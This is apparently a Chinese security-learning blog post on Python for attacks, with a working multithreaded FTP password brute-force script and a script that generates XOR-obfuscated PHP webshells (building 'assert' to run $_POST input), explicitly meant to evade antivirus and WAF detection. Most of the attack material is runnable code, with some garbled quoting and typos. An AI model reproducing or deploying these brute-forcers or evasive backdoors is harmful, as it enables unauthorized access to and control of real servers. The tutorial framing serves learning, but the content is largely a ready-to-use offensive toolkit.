• 网安学习-Python3


    目录

    本次学习知识点

    学习目的

    多线程FUZZ

    案例一:利用FTP模块实现协议爆破脚本+简单多线程技术

    Ftplib模块

    Python多线程知识点

    异或免杀webshell

    案例二:配合FUZZ实现免杀异或Shell脚本

    php异或知识点


    此后如竟没有炬火,我便是唯一的光。

    本次学习知识点

    协议模块使用,Request爬虫技术,建议多线程技术,编码技术,Bypass后门技术

    学习目的

    掌握利用强大的模块实现各种协议连接操作(爆破或者利用等),配合FUZZ吊打WAF等

    多线程FUZZ

    案例一:利用FTP模块实现协议爆破脚本+简单多线程技术

    Ftplib模块

    ftp爆破需要的参数:IP、端口、用户名、密码字典

    思路:

    1. 连接ftp服务需要输入的内容(参数)有:IP地址、端口号(默认是21,有可能更改)、用户名、以及密码字典
    2. 实现:使用Python的ftplib模块可以实现ftp登录,登录输入的参数,如上面的参数。

    ftp常用函数:

    from ftplib import FTP                #加载ftp模块

    ftp = FTP()                                 # 设置变量

    ftp.encoding = 'gbk'                   #支持中文路径和文件名

    ftp.set_debuglevel(2)                ##打开调试级别2,显示详细信息

    ftp.connect("IP","port)               #连接的ftp sever和端口
    ftp.login( "user" ,"password")    #连接的用户名,密码
    print ftp.getwelcome()               #打印出欢迎信息
    ftp.cmd( "xxx/xxx")                   #进入远程目录
    bufsize=1024                            #设置的缓冲区大小
    filename="filename.txt"             #需要下载的文件
    file_handle=open(filename, "wb " ).write                 #以写模式在本地打开文件
    ftp.retrbinaly("RETR filename.txt",file_handle,bufsize)         #接收服务器上文件并写入文件ftp.set_debuglevel(0)                #关闭调试模式
    ftp.quit()                                    #退出ftp
    ftp.cwd(pathname)                   #设置FTP当前操作的路径
    ftp.dir()                                     #显示目录下所有目录信息
    ftp.nlst()                                   #获取目录下的文件
    ftp.mkd(pathname)                 #新建远程目录
    ftp.pwd()                               #返回当前所在位置
    ftp.rmd(dirname)                   #删除远程目录
    ftp.delete(filename)                #删除远程文件
    ftp.rename(fromname,toname)                        #将fromname修改名称为toname。
    ftp.storbinaly( "STOR filename.txt" ,file_handel,bufsize)                #上传目标文件

    Python多线程知识点

    https://blog.csdn.net/briblue/article/details/85101144 https://www.cnblogs.com/j6-2/p/4645490.html

    具体代码实现:

    1. import ftplib
    2. import sys
    3. import threading
    4. import queue
    5. #简单的模拟登录测试
    6. #爆破:IP,端口。用户名,密码字典
    7. def ftp_check(ip,port):
    8. ftp = ftplib.FTP()
    9. ftp.connect(ip, int(port))
    10. while not q.empty():
    11. userpass = q.get()
    12. userpass = userpass.split('|')
    13. username = userpass[0]
    14. password = userpass[1]
    15. #print(username+' '+password)
    16. try:
    17. ftp.login(username, password)
    18. list = ftp.retrlines('list')
    19. print('-----------------------connection successful!------------------------------')
    20. print(username + '|' + password)
    21. print(list)
    22. except ftplib.all_errors:
    23. pass
    24. if __name__ =='__main__':
    25. ip = sys.argv[1]
    26. port = sys.argv[2]
    27. user = sys.argv[3]
    28. passwd = sys.argv[4]
    29. threading_num = sys.argv[5]
    30. q = queue.Queue()
    31. for username in open(user):
    32. for password in open(passwd):
    33. username = username.replace('\n','')
    34. password = password.replace('\n','')
    35. #print(username+'|'+password)
    36. q.put(username+'|'+password)
    37. for x in range(int(threading_num)):
    38. t = threading.Thread(target=ftp_check,args=(ip,int(port)))
    39. t.start()
    40. #print(ip+'|'+port+'|'+user+'|'+passwd)

    FTP服务器日志中便记载到了成功登录的信息。 

    异或免杀webshell

    案例二:配合FUZZ实现免杀异或Shell脚本

    php异或知识点

    参考文章:https://blog.csdn.net/qq_41617034/article/details/104441032 

    具体实现代码

    1. import requests
    2. '''
    3. 通过Python来制作免杀的webshell后门脚本文件
    4. '''
    5. for i in range(1,128):
    6. for j in range(1,128):
    7. #print(chr(i)+'|'+chr(j))
    8. code = "+chr(i)+"'^'"+chr(j)+"').ssert;$a($_POST[x]);?>"
    9. #
    10. with open("D:/phpstudy_pro/WWW/webshell_re/"+str(i)+"res"+str(j)+".php","a+") as f:
    11. f.write(code)
    12. f.close()
    13. url = 'http://127.0.0.1/webshell_re/'+str(i)+'res'+str(j)+'.php'
    14. data={
    15. 'x':'phpinfo();'
    16. }
    17. result = requests.post(url,data=data)
    18. if 'LAPTOP-S1ULNFSN' in result.text:
    19. print(str(i)+'res'+str(j)+'.php'+' | OK')

    上面便通过生成的后门文件来执行phpinfo,成功执行。当然发现了通过异或操作得到a的方法,有很多种,如下生成的php文件都是有效的。

  • 相关阅读:
    【面试题】说说JS中的this指向问题
    初探生物信息数据库——生信原理第一次实验报告(华农)
    什么样的系统能够有效提升维修效率?报修工单管理系统哪家的好用?
    rt-hwwb前端面试题
    phoenix连接hbase
    redis笔记
    react 父组件调用子组件的属性或方法
    LabVIEW在OPC中使用基金会现场总线
    CS5817规格书|CS5817芯片参数|多功能便携式显示器方案芯片规格
    企业内容管理(ECM)软件如何为敏感文档创建安全访问
  • 原文地址:https://blog.csdn.net/weixin_44770698/article/details/126429629